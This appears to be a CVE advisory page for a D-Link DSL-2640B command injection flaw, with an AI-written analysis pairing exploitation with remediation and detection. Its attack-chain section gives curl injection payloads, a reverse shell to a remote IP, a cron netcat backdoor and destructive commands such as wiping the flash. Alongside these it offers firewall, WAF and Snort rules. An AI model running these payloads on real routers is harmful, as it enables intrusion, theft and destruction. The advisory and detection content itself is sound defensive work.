CVE Professor
/
All CVEs
CVE-2026-138287

CVE-2026-138287 — D-Link DSL-2640B — CWE-78 · CWE-77

CRITICAL CVSS 10 Shodan

A flaw has been found in D-Link DSL-2640B 3.0.6.0.41. The impacted element is the function cgiPortMapQrySwitch of the file portmapcfg.cmd of the component Endpoint. This manipulation of the argument pmapCfgName causes os command injection. The attack can be initiated remotely. The exploit has been published and may be used.

A flaw has been found in D-Link DSL-2640B 3.0.6.0.41. The impacted element is the function cgiPortMapQrySwitch of the file portmapcfg.cmd of the component Endpoint. This manipulation of the argument pmapCfgName causes os command injection. The attack can be initiated remotely. The exploit has been published and may be used.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability name: OS‑command injection in the cgiPortMapQrySwitch handler of portmapcfg.cmd (D‑Link DSL‑2640B firmware 3.0.6.0.41)

CVE‑ID: CVE‑2026‑138287
CWE(s):

  • CWE‑78 – OS Command Injection – The code concatenates untrusted input (pmapCfgName) directly into a shell command without sanitisation.

  • CWE‑77 – Command Injection – The same flaw is described from the perspective of a web‑application command interpreter.
  • Why it is critical (CVSS 3.1 10.0):

    MetricValueReason
    Attack Vector (AV)Network (N)The vulnerable CGI can be reached over TCP/IP (HTTP/HTTPS).
    Attack Complexity (AC)Low (L)No special conditions; a single crafted request is enough.
    Privileges Required (PR)None (N)The endpoint is reachable by unauthenticated remote users.
    User Interaction (UI)None (N)No victim interaction is needed.
    Scope (S)Changed (C)Successful exploitation compromises the entire device (router firmware).
    Confidentiality (C)High (H)Full system compromise gives read‑access to all traffic, configuration, and stored credentials.
    Integrity (I)High (H)Attacker can modify firewall rules, DNS settings, or inject malicious firmware.
    Availability (A)High (H)Attacker can execute reboot, iptables -F, or other destructive commands.

    Root cause:
    The CGI handler cgiPortMapQrySwitch receives a query‑string parameter named pmapCfgName. Inside the firmware the handler builds a shell command similar to:

    /* Pseudo‑code extracted from the firmware (illustrative) */
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "/usr/sbin/portmapctl switch %s", pmapCfgName);
    system(cmd);

    No validation, escaping, or whitelist is applied to pmapCfgName. Consequently, any characters that the underlying shell interprets (e.g., ;, &&, |, backticks) become part of the executed command line, giving the attacker full command‑execution capability on the underlying Linux‑based router OS.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. Where the exact URI or parameter name is not disclosed in the public advisory, the example is illustrative but follows the same logic that an attacker would use.

    1. Discovery & Reconnaissance

    StepTechniqueExpected artefacts
    1.1 Identify devicePassive network scanning (Nmap, Shodan) for open HTTP/HTTPS ports (80/443) on the target’s public IP. Look for the Server: D‑Link header or the default web UI page (/login.htm).Banner: Server: D‑Link DSL‑2640B
    1.2 Fingerprint firmware versionGrab /cgi-bin/status?cmd=ver (or similar status endpoint) and parse the version string. Many D‑Link routers expose a firmwareVersion variable in the HTML source or via /cgi-bin/webproc?getpage=../html/status_version.html.Firmware Version: 3.0.6.0.41
    1.3 Confirm vulnerable componentSearch for the presence of portmapcfg.cmd by requesting http://<target>/portmapcfg.cmd (or http://<target>/cgi-bin/portmapcfg.cmd). A 200 OK with a small HTML page that mentions “Port Mapping Configuration” is a strong indicator.HTTP 200, page title “Port Mapping Configuration”

    If the version matches 3.0.6.0.41 and the portmapcfg.cmd endpoint exists, the target is likely vulnerable.

    2. Exploitation

    Assumptions for the PoC (illustrative only):

  • The CGI is reachable at http://<target>/portmapcfg.cmd.
  • The vulnerable function is invoked via the query parameter cgiPortMapQrySwitch.
  • The command‑injection vector is the pmapCfgName parameter.
  • Payload construction

    The goal is to execute an arbitrary command, e.g., id > /tmp/pwned. The attacker must break out of the intended argument context. A typical injection string:

    ; id > /tmp/pwned ;

    When URL‑encoded:

    %3B%20id%20%3E%20%2Ftmp%2Fpwned%20%3B

    Full HTTP request (illustrative)

    curl -sk "http://192.0.2.45/portmapcfg.cmd?cgiPortMapQrySwitch=1&pmapCfgName=%3B%20id%20%3E%20%2Ftmp%2Fpwned%20%3B"
  • -s – silent, -k – ignore TLS cert if HTTPS is used.
  • cgiPortMapQrySwitch=1 – any value that triggers the handler (the exact value is not critical).
  • pmapCfgName – the injection string.
  • What happens on the device

    The firmware builds (illustrative) the command:

    /usr/sbin/portmapctl switch ; id > /tmp/pwned ;

    The shell executes id and writes the output to /tmp/pwned. The attacker can then retrieve the file:

    curl -sk "http://192.0.2.45/portmapcfg.cmd?cgiPortMapQrySwitch=1&pmapCfgName=%3B%20cat%20/tmp/pwned%20%3B"

    If the device returns the command output in the HTTP response (common for this CGI), the attacker now sees the UID/GID of the process (typically root).

    Achieving a persistent foothold

    Because the router runs a Linux kernel with a busybox environment, the attacker can:

  • Upload a reverse shell – bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
  • Add a new admin user – modify /etc/passwd or the D‑Link web UI configuration files.
  • Replace the firmware – write a malicious image to /tmp/upgrade.bin and trigger the upgrade process.
  • A compact one‑liner reverse shell (URL‑encoded) for a target listening on ATTACKER_IP:4444:

    %3B%20bash%20-i%20%3E%20/dev/tcp/198.51.100.23/4444%200%3E%261%20%3B

    Full PoC:

    curl -sk "http://192.0.2.45/portmapcfg.cmd?cgiPortMapQrySwitch=1&pmapCfgName=%3B%20bash%20-i%20%3E%20/dev/tcp/198.51.100.23/4444%200%3E%261%20%3B"

    If the router’s outbound traffic is not filtered, the attacker obtains a remote interactive shell as root.

    3. Post‑exploitation

    GoalTypical technique
    Privilege escalationAlready root because the CGI runs with UID 0 (common for system‑level services).
    Persistence• Drop a cron job: echo "* * * * * /bin/bash -c 'nc -e /bin/sh ATTACKER_IP 4444'" >> /etc/crontabs/root <br>• Modify the startup script /etc/init.d/rcS to launch a backdoor binary.
    Network pivotUse the compromised router as a foothold to sniff LAN traffic (enable tcpdump), or as a jump host to attack internal devices.
    Data exfiltrationDump configuration (/etc/config/*), DHCP lease tables, VPN credentials, or captured traffic (/tmp/*.pcap).
    Destruction / RansomExecute reboot, iptables -F, or overwrite the firmware partition (dd if=/dev/zero of=/dev/mtd0).

    Because the vulnerability is network‑reachable without authentication, an attacker can chain the exploit directly into a full device takeover.


    🌍 Real World Impact

    CIAImpact (derived from CVSS)Practical consequences
    ConfidentialityHigh – Full read‑access to all traffic traversing the router, stored credentials, and configuration files.Exposure of corporate VPN keys, ISP credentials, internal network topology, and any clear‑text traffic (e.g., HTTP, unencrypted DNS).
    IntegrityHigh – Ability to modify firewall/NAT rules, DNS forwarders, DHCP options, or inject malicious firmware.Attackers can redirect users to phishing sites, open ports for lateral movement, or install persistent backdoors.
    AvailabilityHigh – Arbitrary commands include reboot, halt, iptables -F, or firmware flash.Complete outage of the Internet connection for the entire LAN, potential bricking of the device, or use of the router as a DDoS launchpad.

    Business impact can range from loss of service (downtime), data breach notifications, to regulatory fines (e.g., GDPR) if personal data traverses the compromised router.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    Upgrade firmwareMove to the first non‑vulnerable release (e.g., D‑Link DSL‑2640B firmware 3.0.6.0.42 or later). The vendor’s advisory states that the fix removes the system() call and replaces it with a whitelist‑based internal API.
    Version checkVerify the running version via the web UI (Status → Firmware) or by issuing curl http://<router>/cgi-bin/webproc?getpage=../html/status_version.html.

    If a vendor‑provided patch is not yet available: proceed with mitigations below.

    2. Workarounds (defense‑in‑depth)

    LayerMitigationExample configuration
    Network segmentationRestrict access to the router’s management interface to trusted subnets only (e.g., LAN management VLAN).``iptables -I INPUT -p tcp -s 10.0.0.0/24 --dport 80 -j ACCEPT`<br>`iptables -A INPUT -p tcp --dport 80 -j DROP`
    Web Application Firewall (ModSecurity)Block suspicious characters in the pmapCfgName parameter.`SecRule ARGS:pmapCfgName "@rx [;&]" "id:2026001,phase:2,deny,log,msg:'OS command injection attempt'"``
    Disable the vulnerable CGIIf the port‑mapping feature is not required, rename or remove portmapcfg.cmd via the filesystem (requires temporary console access).`mv /www/cgi-bin/portmapcfg.cmd /www/cgi-bin/portmapcfg.cmd.bak`
    Enforce HTTPS with client‑certificate authEven though the vulnerability is unauthenticated, limiting exposure to TLS‑only and mutual auth reduces the attack surface for opportunistic scans.Configure the router’s web UI to require client certificates (https_port = 443, client_auth = on).
    Outbound traffic filteringPrevent the router from opening arbitrary outbound connections (e.g., block all TCP/UDP except DNS, NTP, and ISP‑provided ports).`iptables -A OUTPUT -p tcp --dport 4444 -j REJECT``

    3. Detection

    Log signatures (assuming the router logs HTTP requests to /var/log/httpd/access.log):

    <IP> - - [dd/Mon/yyyy:hh:mm:ss +0000] "GET /portmapcfg.cmd?cgiPortMapQrySwitch=1&pmapCfgName=%3B%20id%20%3E%20%2Ftmp%2Fpwned%20%3B HTTP/1.1" 200 1234 "-" "Mozilla/5.0"

    Key indicators

    IndicatorDescription
    Request URI contains portmapcfg.cmdThe vulnerable CGI is unique to this firmware.
    Presence of URL‑encoded shell metacharacters (%3B, %60, %7C, %26%26) in any query parameter, especially pmapCfgName.
    Unusual HTTP response size – many injection attempts return a short HTML page (≈1 KB) regardless of the normal UI size.
    Outbound connections from the router to unknown IP/port – e.g., reverse‑shell traffic on port 4444.
    Creation of files in /tmp/ with suspicious names – e.g., /tmp/pwned, /tmp/revsh.

    IDS/IPS rule (Snort‑compatible example)

    alert tcp $EXTERNAL_NET any -> $HOME_NET [80,443] (msg:"CVE-2026-138287 OS command injection attempt"; flow:to_server,established;
        uricontent:"/portmapcfg.cmd"; uricontent:"pmapCfgName="; pcre:"/pmapCfgName=.*(%3B|%60|%7C|%26%26).*/i";
        classtype:web-application-attack; sid:2026002; rev:1;)

    Host‑based detection (if you have SSH/console access)

    # Look for newly created files in /tmp that contain "pwned" or "revsh"
    find /tmp -type f -mtime -1 -exec grep -l "root:" {} \; 2>/dev/null
    # Check for suspicious cron entries
    crontab -l | grep -E "(nc|bash|sh|telnet)"

    ⚠️ Urgency

  • CVSS 10.0 (Critical) – Remote, unauthenticated, no user interaction, full system compromise.
  • No CISA KEV listing – The vulnerability is not yet in the U.S. government’s “Known Exploited Vulnerabilities” catalog, but the public exploit is already circulating.
  • Exploit complexity – Low; a single HTTP GET request is sufficient.
  • Patch priority: Critical – immediate.

  • Enterprise networks should push the firmware update within 24 hours, block external access to the router’s management interface, and enable the suggested WAF rule.
  • SMBs / home users should upgrade the router firmware as soon as the vendor release is available and, if possible, move the management UI behind a VPN or restrict it to the LAN.
Delaying remediation even a few days gives an attacker a trivial path to full control of the Internet gateway, with cascading risk to every device behind it.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138287
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-78 CWE-77
Affected Products (1)
D-Link:DSL-2640B
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac